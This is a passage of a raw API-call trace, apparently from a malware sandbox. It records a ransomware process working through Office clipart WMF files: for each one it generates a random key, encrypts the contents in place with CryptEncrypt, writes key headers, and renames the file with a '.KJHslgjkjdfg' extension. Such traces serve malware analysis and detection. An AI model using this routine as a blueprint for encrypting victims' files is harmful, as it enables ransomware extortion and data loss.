dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.148] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.150] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.151] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.151] GetProcessHeap () returned 0x2ef0000 [0218.151] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.151] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.151] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.151] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.151] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.151] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.151] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.151] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.151] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.151] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.152] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.152] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.152] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3d5c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3d5c, lpOverlapped=0x0) returned 1 [0218.153] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3d60, dwBufLen=0x3d60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3d60) returned 1 [0218.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.153] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3d60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3d60, lpOverlapped=0x0) returned 1 [0218.153] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.153] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3e34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.153] SetEndOfFile (hFile=0x130) returned 1 [0218.156] GetProcessHeap () returned 0x2ef0000 [0218.156] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.156] GetProcessHeap () returned 0x2ef0000 [0218.157] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.157] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00034_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00034_.wmf.kjhslgjkjdfg")) returned 1 [0218.159] CloseHandle (hObject=0x130) returned 1 [0218.159] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f647900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f647900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00049_.WMF", cAlternateFileName="")) returned 1 [0218.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.160] GetProcessHeap () returned 0x2ef0000 [0218.160] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.161] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.161] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.161] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.161] GetProcessHeap () returned 0x2ef0000 [0218.161] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.161] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.161] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.161] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.163] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.163] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.164] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.164] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.164] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.164] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.164] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4040, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4040, lpOverlapped=0x0) returned 1 [0218.165] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4040, dwBufLen=0x4040 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4040) returned 1 [0218.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.165] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4040, lpOverlapped=0x0) returned 1 [0218.166] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.166] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.166] SetEndOfFile (hFile=0x130) returned 1 [0218.168] GetProcessHeap () returned 0x2ef0000 [0218.168] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.169] GetProcessHeap () returned 0x2ef0000 [0218.169] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00049_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00049_.wmf.kjhslgjkjdfg")) returned 1 [0218.170] CloseHandle (hObject=0x130) returned 1 [0218.171] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e334c00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e334c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x4d18, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00050_.WMF", cAlternateFileName="")) returned 1 [0218.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.172] GetProcessHeap () returned 0x2ef0000 [0218.172] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.172] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.172] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.175] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.175] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.175] GetProcessHeap () returned 0x2ef0000 [0218.175] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.175] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.175] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.175] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.175] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.175] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.175] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.176] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.176] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.176] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.176] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4d18, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4d18, lpOverlapped=0x0) returned 1 [0218.177] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4d20, dwBufLen=0x4d20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4d20) returned 1 [0218.177] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.177] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4d20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4d20, lpOverlapped=0x0) returned 1 [0218.178] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.178] SetEndOfFile (hFile=0x130) returned 1 [0218.181] GetProcessHeap () returned 0x2ef0000 [0218.181] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.181] GetProcessHeap () returned 0x2ef0000 [0218.181] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00050_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00050_.wmf.kjhslgjkjdfg")) returned 1 [0218.183] CloseHandle (hObject=0x130) returned 1 [0218.183] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d021f00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d021f00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x47ec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00052_.WMF", cAlternateFileName="")) returned 1 [0218.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.184] GetProcessHeap () returned 0x2ef0000 [0218.184] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.184] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.184] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.184] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.187] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.187] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.187] GetProcessHeap () returned 0x2ef0000 [0218.187] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.187] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.187] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.187] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.187] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.188] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.188] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.188] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.188] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.188] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.188] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.188] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x47ec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x47ec, lpOverlapped=0x0) returned 1 [0218.189] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x47f0, dwBufLen=0x47f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x47f0) returned 1 [0218.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.190] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x47f0, lpOverlapped=0x0) returned 1 [0218.190] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.190] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x48c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.190] SetEndOfFile (hFile=0x130) returned 1 [0218.193] GetProcessHeap () returned 0x2ef0000 [0218.193] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.193] GetProcessHeap () returned 0x2ef0000 [0218.193] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.193] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00052_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00052_.wmf.kjhslgjkjdfg")) returned 1 [0218.195] CloseHandle (hObject=0x130) returned 1 [0218.195] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00231_.WMF", cAlternateFileName="")) returned 1 [0218.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00231_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.197] GetProcessHeap () returned 0x2ef0000 [0218.197] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.197] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.197] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.197] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0218.200] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.200] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.200] GetProcessHeap () returned 0x2ef0000 [0218.200] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.200] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.200] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.200] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, 